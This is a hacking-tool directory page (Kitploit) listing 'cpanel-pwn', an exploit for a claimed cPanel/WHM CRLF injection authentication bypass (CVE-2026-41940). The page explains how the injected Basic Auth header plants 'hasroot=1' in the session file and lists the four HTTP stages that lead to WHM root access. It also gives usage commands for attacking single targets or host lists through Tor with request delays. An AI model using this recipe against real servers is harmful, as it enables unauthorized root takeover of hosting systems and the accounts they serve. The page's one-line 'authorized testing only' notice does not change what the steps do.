Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/richflexpix/cpanel-pwn
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubrichflexpix/cpanel-pwn

cpanel-pwn

cPanel/WHM CVE-2026-41940 CRLF injection auth bypass exploit

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cpanel-pwn

cPanel/WHM security testing toolkit. Implements the CVE-2026-41940 CRLF injection authentication bypass and post-exploitation privilege pivoting.

Tools

ScriptPurpose
cpanel_exploit.pyCVE-2026-41940: CRLF injection → WHM auth bypass → root access

CVE-2026-41940

Type: CRLF Injection → Authentication Bypass → Root RCE
Affected: cPanel/WHM < patched versions
Attack: Pre-auth CRLF injection in Basic Auth header injects hasroot=1 into the server-side session file, elevating an unauthenticated session to WHM root.

Download Tool
root@kitploit:~
Stage 1: POST /login/?login_only=1          → mints pre-auth session
Stage 2: GET / Authorization:Basic <CRLF>   → injects hasroot=1, leaks cpsess token
Stage 3: GET /scripts2/listaccts            → fires session-cache propagation gadget
Stage 4: GET /cpsess[TOKEN]/json-api/version → HTTP 200 + version = ROOT ACCESS

Usage

root@kitploit:~
pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only   # CRLF check only, no priv-esc

Authorization

For authorized penetration testing only.